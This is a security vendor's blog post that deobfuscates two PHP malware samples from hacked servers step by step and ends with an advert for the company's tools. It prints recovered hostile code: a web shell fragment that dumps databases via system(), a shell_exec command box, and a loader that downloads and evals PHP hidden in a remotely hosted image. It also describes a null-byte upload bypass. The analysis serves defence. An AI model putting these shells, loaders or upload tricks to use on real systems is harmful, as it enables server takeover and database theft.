# How to Deobfuscate PHP Malware, Step by Step

> Two real samples from hacked hosting accounts, unpacked by hand: a custom decoder hidden behind fourteen evals, and a goto maze that loads its payload from an image on GitHub. Plus the free tool that does it for you.

Source: https://www.pyxsoft.com/blog/deobfuscate-php-malware-step-by-step
Published: 2026-11-14
Tags: malware, php, deobfuscation, webshell, research, tools

---

![A tangled knot of glowing orange-red code lines on the left being unwound by a beam of light into neat, readable blue lines of code on the right](https://www.pyxsoft.com/_astro/cover.DUWNlmfk.jpg)

You found a strange PHP file on a server. Before you delete it, it's worth knowing what it did: whether it was a full web shell or a simple uploader, whether it read the database, and where it fetched code from. That tells you what else to look for and which passwords to change.

The problem is that you can't read it. Malware authors obfuscate their files so that a quick look, a `grep` and most scanners find nothing they recognise. The good news is that nearly all obfuscation uses the same handful of tricks, and each one can be undone without running the file.

Here are two real samples from [Pyxsoft Labs](https://www.pyxsoft.com/anti-malware), unpacked step by step.

<!--truncate-->

## Rule zero: never run it

The tempting shortcut is to replace `eval` with `echo` and run the file with `php`. Don't do that on a server you care about. Obfuscated files often run more than one `eval`, call `system()` along the way, or decode to code that writes files as soon as it is included. Everything below only **reads** the file and decodes strings with the same functions the malware uses, without executing the malware's own code.

## Sample 1: fourteen evals, one layer

Sample 421 was uploaded as `~/public_html/2.0/upload/doc.php%00.jpg`. The name is a trick in itself: `%00` is a null byte, an old way to get past upload forms that check whether a name ends in `.jpg`, while the file is saved and run as `doc.php`.

### The file as we received it

One line of PHP, about 5 KB:

```php
<?php
eval(base64_decode('ZnVuY3Rpb24gX0FLc2QoJF9ZaG5VUVV3KXskX1loblVRVXc9c3Vic3RyKCRfWWhuVVFVdywoaW50KShoZXgyYmluKCczNTM5MzYnKSkpOy...'));
```

### Step 1: decode the outer layer

`base64_decode` of a literal string is safe to reproduce. Copy the string and decode it:

```bash
echo 'ZnVuY3Rpb24gX0FLc2Qo...' | base64 -d
```

What comes out is PHP again, formatted here for reading:

```php
function _AKsd($_YhnUQUw){
    $_YhnUQUw = substr($_YhnUQUw, (int)(hex2bin('353936')));
    $_YhnUQUw = substr($_YhnUQUw, (int)(hex2bin('30')), (int)(hex2bin('2d323833')));
    return $_YhnUQUw;
}
$_iq3bm = '_AKsd';
$_lbjvqR5r = 'base64_decode';
function _wRaUWZJ1FUwxR9lfc($_J3fxoL5){
    global $_iq3bm; global $_lbjvqR5r;
    return strrev(gzinflate($_lbjvqR5r(_AKsd($_J3fxoL5))));
}
eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(_wRaUWZJ1FUwxR9lfc('udX7rJMfEsml...')))))))))))))));
```

### Step 2: read the custom decoder

The file brings its own decoding function, and that's the part worth reading slowly:

- `hex2bin('353936')` is the text `596`, `hex2bin('30')` is `0` and `hex2bin('2d323833')` is `-283`. The numbers are hex-encoded so they don't look like numbers.
- So `_AKsd()` cuts the first 596 characters and the last 283 off the string. They are padding, there to make the blob fail as base64 if you try to decode it directly.
- `$_lbjvqR5r` holds the text `base64_decode`, and calling `$_lbjvqR5r(...)` calls that function. Function names kept in variables are there to keep `base64_decode(` out of a `grep`.

Put back together, the decoder is `strrev(gzinflate(base64_decode(substr(substr($s, 596), 0, -283))))`: remove the padding, base64, decompress, reverse. All of these are pure string functions, so you can apply them to the blob without running anything else:

```bash
php -r '$s = file_get_contents("blob.txt");
        echo strrev(gzinflate(base64_decode(substr(substr($s, 596), 0, -283))));'
```

### Step 3: count the evals that matter

Fourteen nested `eval`s look like fourteen layers to peel. They aren't. The innermost `eval` runs the decoded code, which is the actual shell. That code doesn't `return` anything, so the next `eval` receives `NULL` and does nothing, and so do the other twelve. The other thirteen are there to make the file look deeper than it is, and to wear out anyone decoding by hand.

### What it was

The decoded payload is 6 KB of plain PHP: a compact web shell that calls itself `doc.php`. It has a file browser, upload, a text search across every file under a folder, a command box that runs `shell_exec($_POST['cmd'])`, and a database tool that defaults to `root@localhost` and downloads a full `mysqldump` of whatever database you name:

```php
if ($db) {
    header('Content-Type: application/sql');
    header('Content-Disposition: attachment; filename="dump.sql"');
    system("mysqldump --host=" . $host . " --user=" . $user . " --password=" . $pass . " " . $db);
    exit;
}
```

That's useful to know. A shell with a `mysqldump` button means you have to assume the site's database was copied, and the database password the site uses has to change.

## Sample 2: a goto maze

Sample 1520 was found as `~/public_html/wp-includes/rest-api/fields/index.php`, a file WordPress doesn't have. Here it is, unedited:

```php
<?php
 goto Z25Zw; Q1Crm: goto ITqzY; goto TopR_; XHd23: goto gBaDO; goto yMeM8; TopR_: jmdBf: goto BJNxA; RNWF8: $kmzf9 = "\150\164\164\x70\x73\x3a\x2f\57\162\x61\x77\56\x67\151\164\150\165\x62\x75\163\x65\162\143\157\156\x74\145\156\164\x2e\x63\x6f\155\57..."; goto NJBMV; txsSH: goto TTN4S; goto p1K6q; YVx1o: eval("\77\x3e" . $e7xC1); goto E1Cet; J1E1L: pf61b: goto RNWF8; H5dNn: $DbmgY = file_get_contents($kmzf9); goto Q1Crm; ...
```

Two tricks are layered here.

### Step 1: the escaped strings

`"\150\164\164\x70\x73"` mixes octal (`\150` = `h`) and hex (`\x70` = `p`) escapes, randomly per character, so that no word in the file can be found with `grep`. These are ordinary PHP string literals, and any PHP parser reads them back. Here, the first one is a URL:

```
https://raw.githubusercontent.com/icm****/deface/refs/heads/main/images1.jpg
```

and `"\77\x3e"` is just `?>`.

### Step 2: put the gotos back in order

Six statements are chopped into small pieces behind 45 random labels, shuffled, and chained with `goto`. To read it, you follow the jumps the way PHP does:

1. Start at the top: `goto Z25Zw;`
2. Find the label `Z25Zw:`. It says `goto pf61b;`. Ignore whatever comes after a `goto` on the same chain (`goto cyn61;` here): it is never reached, it's noise.
3. `pf61b:` → `goto RNWF8;` → `RNWF8:` sets `$kmzf9` to the URL → `goto NJBMV;` → `goto xWcWP;` → `xWcWP:` → `goto H5dNn;` → `H5dNn:` downloads the URL...

and so on, until the chain reaches the label at the very end. Writing down only the statements that aren't `goto`, in the order you meet them, gives the real program:

```php
$DbmgY = file_get_contents('https://raw.githubusercontent.com/icm****/deface/refs/heads/main/images1.jpg');
$N2rrC = strpos($DbmgY, '<?php');
if ($N2rrC !== false) {
    $e7xC1 = substr($DbmgY, $N2rrC);
    eval('?>' . $e7xC1);
} else {
    echo 'No PHP code found inside image.';
}
```

### What it was

A loader, and that is why it's so small. It downloads an "image" from a public GitHub repository, looks for `<?php` inside it, and runs everything from there on. The image may well open as a picture, and the PHP sits after the picture data. The real payload never touches the infected server: the attacker can change it on GitHub whenever they like, and every infected site runs the new version on its next request.

This also shows the limit of deobfuscating a single file. What this site ran is the content of `images1.jpg` on the day of each request, and the file on the disk only tells you where to look. Its error message is a small giveaway, too: `No PHP code found inside image.`

## The tricks you will keep meeting

Most obfuscated PHP on hosting servers combines a few of these:

| Trick | What it looks like | How to undo it |
|---|---|---|
| Encoding layers | `eval(gzinflate(base64_decode('...')))`, often 5 to 20 deep, with `str_rot13`, `strrev` | Apply the same decoders to the literal, innermost first |
| Escaped strings | `"\x62\141\163\x65"` | Any PHP parser reads them back |
| Names in variables | `$f = 'base64_decode'; $f($x)` | Substitute the value, then read the call |
| Character tables | `$O00O = urldecode("%6E1%7A..."); $O00O{38}.$O00O{12}...` | Build the table and look up each index |
| Custom decoders | Padding, XOR keys, offsets hidden with `hex2bin` | Read the function: it's usually short and pure |
| goto shuffling | Dozens of `label: goto X;` pieces | Follow the jumps from the top, drop the `goto`s |
| Payload elsewhere | `file_get_contents(__FILE__)`, a remote URL, a cookie | Find where the data comes from. Sometimes it isn't in the file at all |

## Or let the tool do it

Doing this by hand is a good way to learn the tricks. Doing it on a Monday morning with forty files waiting isn't. That's why we built the [Pyxsoft PHP Deobfuscator](https://www.pyxsoft.com/tools/php-deobfuscator), a free page where you paste a file and get the readable code back.

It doesn't run any PHP. It parses the file, follows the values the code builds from its own literals, and folds them with the same functions reimplemented in Go: the encoding layers and decoders above, character tables and `$GLOBALS` arrays, the file's own decoder functions when they are pure, `goto` mazes put back in order, and payloads a file reads from itself. Both samples in this post come out as shown above, in one step.

On 365 obfuscated samples from Labs, it makes 336 readable, or 92%. What it can't show is code that isn't in the file: an `eval($_POST['x'])` runs whatever the attacker sends, and a loader like sample 2 runs whatever is on GitHub that day. In those cases it shows you where the code comes from, which is the next thing to look at.

## A file like this is rarely alone

Whoever planted `doc.php` or the GitHub loader usually left more: a backdoor in a plugin, code injected into a core file, a second shell for when you find the first. Deobfuscating one file tells you what happened. [Pyxsoft Anti Malware](https://www.pyxsoft.com/anti-malware) scans every account on the server to find where else it happened, and removes injected code without taking the site down. 7 days free, on cPanel, DirectAdmin or a server with no panel.
